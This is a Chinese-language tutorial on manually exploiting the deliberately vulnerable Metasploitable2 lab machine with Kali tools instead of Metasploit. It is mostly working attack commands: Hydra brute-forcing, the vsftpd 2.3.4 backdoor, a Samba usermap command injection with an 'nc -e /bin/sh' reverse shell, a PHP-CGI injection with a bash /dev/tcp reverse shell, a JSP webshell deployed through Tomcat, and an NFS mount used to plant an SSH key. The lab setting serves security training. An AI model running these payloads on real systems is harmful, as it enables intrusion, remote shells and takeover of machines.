告别MSF依赖:Kali原生工具实战Metasploitable2十大漏洞
当网络安全从业者谈论渗透测试时,Metasploit Framework(MSF)往往是第一个被提及的工具。这个强大的框架确实简化了许多复杂操作,但过度依赖自动化工具可能掩盖了漏洞利用的本质逻辑。本文将带您使用Kali Linux内置的"瑞士军刀"工具集,从零开始手动复现Metasploitable2靶机中的十大经典漏洞。通过Nmap的深度扫描、Netcat的灵活运用、Hydra的暴力破解,以及纯手工编写的攻击载荷,您将获得比MSF自动化攻击更深入的技术理解。
1. 环境准备与基础侦察
在开始漏洞利用之前,我们需要建立标准的测试环境。将Kali Linux(建议2023.2以上版本)和Metasploitable2靶机置于同一NAT网络下,确保两者能够互相通信。不同于MSF的自动化发现,我们首先使用基础网络工具进行手动侦察:
# 使用arp-scan进行二层发现 sudo arp-scan -l --interface=eth0这个简单的命令会列出本地网络所有活跃设备的MAC地址和IP分配情况。相比MSF的arp_sweep模块,手动执行可以观察到更详细的厂商信息,有助于识别特殊设备。发现目标IP后(假设为192.168.1.105),接下来进行全端口扫描:
# 全端口扫描与服务识别组合命令 nmap -sS -p- -T4 -A -oN full_scan.nmap 192.168.1.105关键参数解析:
-sS:SYN半开扫描,平衡速度和隐蔽性-p-:检查所有65535个端口-T4:加速扫描(注意可能影响准确性)-A:启用OS检测、版本探测和脚本扫描
扫描结果会显示Metasploitable2开放的大量危险服务,从FTP到Samba,每个都是我们后续攻击的入口点。记录下所有开放端口及其对应服务版本,这些信息将指导后续的漏洞利用策略。
2. 弱口令类漏洞实战突破
Metasploitable2中超过40%的漏洞源于弱口令配置,我们将使用Kali原生工具逐个击破。
2.1 Telnet明文登录破解
当发现23端口开放时,传统的telnet服务可能成为最易突破的点。不同于MSF的telnet_login模块,我们手动操作:
# 尝试默认凭证连接 telnet 192.168.1.105 Username: msfadmin Password: msfadmin如果默认凭证失效,使用Hydra进行字典攻击:
# 构建用户名字典 echo -e "admin\nroot\nmsfadmin\nuser" > users.txt # 构建密码字典 echo -e "password\n123456\nmsfadmin\nadmin123" > pass.txt # 启动Hydra爆破 hydra -L users.txt -P pass.txt telnet://192.168.1.105 -vV暴力破解防护技巧:
- 使用
-t参数控制并发线程(建议不超过4) - 添加
-e nsr尝试空密码和反向登录 - 配合
-w和-f设置超时及退出条件
2.2 数据库弱口令横向渗透
MySQL(3306)、PostgreSQL(5432)等数据库服务的弱口令可能带来更严重的后果。以MySQL为例:
# 手动连接测试 mysql -h 192.168.1.105 -u root -p # 当提示输入密码时直接回车成功进入后,可通过以下命令提取敏感信息:
SELECT User, Password FROM mysql.user; SHOW DATABASES; USE mysql; SELECT * FROM user;对于PostgreSQL,使用psql客户端进行类似测试:
psql -h 192.168.1.105 -U postgres # 密码尝试postgres或空密码3. 服务漏洞深度利用
3.1 Vsftpd 2.3.4后门漏洞
这个经典漏洞存在于特定版本的Vsftpd中,当用户名包含":)"时会在6200端口开启后门。手动利用过程如下:
# 使用telnet触发后门 telnet 192.168.1.105 21 Trying 192.168.1.105... Connected to 192.168.1.105. 220 (vsFTPd 2.3.4) USER hello:) # 注意笑脸符号 331 Please specify the password. PASS whatever # 此时服务端会在6200开放后门 # 使用netcat连接后门 nc -nv 192.168.1.105 6200 whoami # 返回root表示利用成功3.2 Samba命令注入漏洞(CVE-2007-2447)
Samba的usermap脚本漏洞允许通过用户名字段注入命令。手动复现步骤:
# 使用smbclient测试漏洞 smbclient //192.168.1.105/tmp -N # 尝试在用户名中注入命令 smbclient //192.168.1.105/tmp -U="`nohup nc -e /bin/sh 192.168.1.100 4444`%"同时在攻击机开启监听:
nc -lvnp 4444当连接建立后,您将获得一个反向shell。这种方法比MSF的usermap_script模块更能理解漏洞本质。
4. Web应用漏洞链式攻击
4.1 PHP CGI参数注入(CVE-2012-1823)
Metasploitable2运行的旧版PHP存在参数注入漏洞,手动利用:
# 使用curl测试漏洞 curl "http://192.168.1.105/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" -X POST -d "<?php system('id');?>"如果看到系统命令输出,说明漏洞存在。可以进一步获取交互式shell:
# 生成PHP反向shell代码 echo '<?php exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\'");?>' > shell.php # 通过漏洞执行 curl "http://192.168.1.105/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" -X POST --data-binary @shell.php4.2 Tomcat管理台弱口令部署
针对8180端口的Tomcat管理界面,使用默认凭证tomcat:tomcat登录后,可以手动上传WAR格式的webshell:
# 创建简单JSP shell mkdir -p WEB-INF echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > shell.jsp jar -cvf shell.war shell.jsp WEB-INF/通过管理界面上传此WAR文件,访问对应路径即可执行系统命令:
http://192.168.1.105:8180/shell/shell.jsp?cmd=id5. 权限提升与后渗透
获得初始立足点后,我们需要探索系统内部提权路径。Metasploitable2中存在多个经典的本地提权漏洞:
# 检查SUID文件 find / -perm -4000 -type f 2>/dev/null # 检查可写目录 find / -type d -perm -2 -ls 2>/dev/null # 检查计划任务 cat /etc/crontab特别值得注意的是NFS共享配置漏洞:
# 在攻击机上挂载靶机根目录 mkdir /tmp/metasploit mount -o nolock 192.168.1.105:/ /tmp/metasploit # 添加SSH公钥实现无密码登录 echo "ssh-rsa AAAAB3NzaC..." >> /tmp/metasploit/root/.ssh/authorized_keys ssh root@192.168.1.105这种手动操作比MSF的exploit/unix/misc/nfs_root模块更能展示NFS配置不当的实际危害。